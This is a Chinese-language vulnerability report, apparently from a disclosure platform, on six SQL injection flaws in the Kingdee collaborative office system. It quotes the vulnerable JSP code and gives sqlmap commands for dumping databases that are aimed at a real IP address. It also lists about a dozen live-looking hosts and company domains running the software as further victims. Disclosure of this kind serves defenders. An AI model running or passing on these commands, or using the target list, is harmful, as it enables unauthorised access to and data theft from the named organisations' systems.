### 简要描述:
金蝶协作办公系统存在六个SQL注射漏洞,影响很多大型企业
### 详细说明:
存在漏洞的文件为
```
/kingdee/flow_performance/add_search_case.jsp?name=1 name存在漏洞
/kingdee/flow_performance/add_view_case.jsp?name=1 name存在漏洞
/kingdee/flow_performance/del_search_case.jsp?id=1 id存在漏洞
/kingdee/flow_performance/del_view_case.jsp?id=1 id存在漏洞
/kingdee/flow_performance/flow_performance_data.jsp?search_case=1 search_case存在漏洞
/kingdee/flow_performance/flow_performance_display.jsp?user_id=1 user_id存在漏洞
```
选取部分漏洞,做漏洞证明
0x1 /kingdee/flow_performance/add_search_case.jsp 漏洞部分代码如下
```
<%
String name = PubFunc.toString(request.getParameter("name"));
name = sysUtil.pubUtil.CharBase64.Decode(name);
String search_value = PubFunc.toString(request.getParameter("search_value"));
search_value = sysUtil.pubUtil.CharBase64.Decode(search_value);
TableCtrl db = new TableCtrl();
if(db.getRowCount("select * from x_flow_performance_search_case where name='"+name+"'")>0){
out.println("ERR1");
return;
}
```
```
sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/add_search_case.jsp?name=1" --tamper "base64encode.py"
```
[<img src="https://images.seebug.org/upload/201508/11222128b3e5f26b42e8da098285c6bfd992bdb4.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/11222128b3e5f26b42e8da098285c6bfd992bdb4.png)
0x2 /kingdee/flow_performance/add_view_case.jsp 部分漏洞代码为
```
<%
String id = PubFunc.toString(request.getParameter("id"));
String name = PubFunc.toString(request.getParameter("name"));
name = sysUtil.pubUtil.CharBase64.Decode(name);
TableCtrl db = new TableCtrl();
if(id.length()>0){
if(db.getRowCount("select * from x_flow_performance_view_case where name='"+name+"' and id <>" + id)>0){
out.println("ERR2");
return;
}
}
```
```
sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/add_view_case.jsp?name=1" --tamper "base64encode.py"
```
[<img src="https://images.seebug.org/upload/201508/112222350f313965fcefacfc71f7e449fd8c219b.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/112222350f313965fcefacfc71f7e449fd8c219b.png)
0x3 /kingdee/flow_performance/del_search_case.jsp?id=1 部分漏洞代码为
```
<%@ page contentType="text/html; charset=gbk" import="pub.*"%>
<%
String id = PubFunc.toString(request.getParameter("id"));
TableCtrl db = new TableCtrl();
if(db.getRowCount("select * from x_flow_performance_view_case where search_case="+id)>0){
out.println("ERR1");
return;
}
int result = db.exec("delete from x_flow_performance_search_case where id="+id);
if(result < 1)
out.println("ERR");
else
out.println("OK|"+id);
%>
```
sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/del_search_case.jsp?id=1"
[<img src="https://images.seebug.org/upload/201508/11222455d1a60c67d9d7d56456e5b02dac57837a.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/11222455d1a60c67d9d7d56456e5b02dac57837a.png)
0x4 /kingdee/flow_performance/flow_performance_data.jsp 部分漏洞代码为
```
String issearch = PubFunc.toString(request.getParameter("issearch"));
String search_case = PubFunc.toString(request.getParameter("search_case"));
TableCtrl db = new TableCtrl();
if(!search_case.equals("")){
String search_value = PubFunc.toString(db.getFieldValue("x_flow_performance_search_case","top 1 search_value","id="+search_case));
```
```
sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/flow_performance_data.jsp?search_case=1" --dbms mssql
```
[<img src="https://images.seebug.org/upload/201508/11222626a05f5e7ec1fa18f065a386dfa01423b5.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/11222626a05f5e7ec1fa18f065a386dfa01423b5.png)
其他漏洞类似,这里不再一一证明,给出几个案例:
```
http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://122.139.60.103:800/kingdee/login/loginpage.jsp
http://oa.guanhao.com:8080/kingdee/login/loginpage.jsp
http://222.179.238.182:8082/kingdee/login/loginpage2.jsp
http://222.134.77.23:8080/kingdee/login/loginpage.jsp
http://221.4.245.218:8080/kingdee/login/loginpage.jsp
http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://220.189.244.202:8080/kingdee/login/loginpage.jsp
http://222.133.44.10:8080/kingdee/login/loginpage.jsp
http://223.95.183.6:8080/kingdee/login/loginpage.jsp
http://61.190.20.51/kingdee/login/loginpage.jsp
http://60.194.110.187/kingdee/login/loginpage.jsp
http://oa.roen.cn/kingdee/login/loginpage.jsp
```
### 漏洞证明:
这些漏洞均可以直接用SQLMAP跑出数据,数据截图
```
sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/flow_performance_display.jsp?user_id=1" --dbs
```
[<img src="https://images.seebug.org/upload/201508/11222848589854b282f1166a8172face348d3b76.png" alt="da.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/11222848589854b282f1166a8172face348d3b76.png)
暂无评论